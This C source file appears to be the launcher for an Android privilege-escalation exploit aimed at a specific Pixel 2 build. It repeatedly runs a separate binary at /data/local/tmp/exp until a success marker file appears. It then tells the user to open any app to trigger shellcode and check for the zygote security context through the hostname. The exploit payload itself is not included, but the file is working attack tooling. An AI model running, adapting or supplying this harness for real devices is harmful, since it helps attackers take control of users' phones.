// for Pixel 2, build google/walleye/walleye:9/PQ1A.181105.017.A1/5081125:user/release-keys
// 20190304, chengjia4574@gmail.com
// code is from Jann Horn

#define _GNU_SOURCE
#include <stdlib.h>
#include <sys/syscall.h>
#include <pthread.h>
#include <sched.h>
#include <err.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <string.h>
#include <sys/time.h>
#include <errno.h>
#include <sys/prctl.h>
#include <signal.h>

void gethost(){
	char host[64];
	int ret = -1;
	ret = gethostname(host, 64);
	if(!ret)
		printf("read hostname : %s\n", host);
}

void sethost(){
	char *h = "jiayy-hostname";
	int ret = -1;
	ret = syscall(__NR_sethostname, h, strlen(h));
	if(!ret)
		printf("success \n");
	else
		perror("errno \n");

}


void signal_handler(int signo) {
    if (signo == SIGCHLD) {
        pid_t pid;
        while ((pid = waitpid(-1, NULL, WNOHANG)) > 0) {
            printf("SIGCHLD pid %d\n", pid);
        }
    }
}

void runexp() {
        pid_t pid;
	const char*  envs[] = {"LD_LIBRARY_PATH=/vendor/lib64:/system/lib64","PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin",NULL};
	const char*  args[] = {"/system/bin/sh","-c","/data/local/tmp/exp", NULL};

        if((pid = fork()) < 0)
                return;
	else if(pid == 0)
		execve("/system/bin/sh", (char**)args, (char**)envs);

	wait(pid);
}

void waitupanyapp() {
        pid_t pid;
	const char*  envs[] = {"LD_LIBRARY_PATH=/vendor/lib64:/system/lib64","PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin",NULL};
	const char*  args[] = {"/system/bin/am","start","-n","com.android.chrome/com.google.android.apps.chrome.Main", NULL};

        if((pid = fork()) < 0)
                return;
	else if(pid == 0)
		execve("/system/bin/am", (char**)args, (char**)envs);

	wait(pid);
}


int main(int argc, char** argv)
{
	gethost();
	if(access("/data/local/tmp/exp",F_OK) != 0) {
		printf("/data/local/tmp/exp not exist!\n");
		exit(0);
	}
	if(access("/data/local/tmp/succ",F_OK) == 0) {
		unlink("/data/local/tmp/succ");
	}

	while(1) {
		runexp();
		if(access("/data/local/tmp/succ",F_OK) == 0) {
			break;
		}
	}
	printf("STAGE 2, you need to open an app to trigger shellcode(any app is ok), then you can run hostname to see if it prints u:r:zygote:s0\n"); 
	getchar();
	gethost();
}

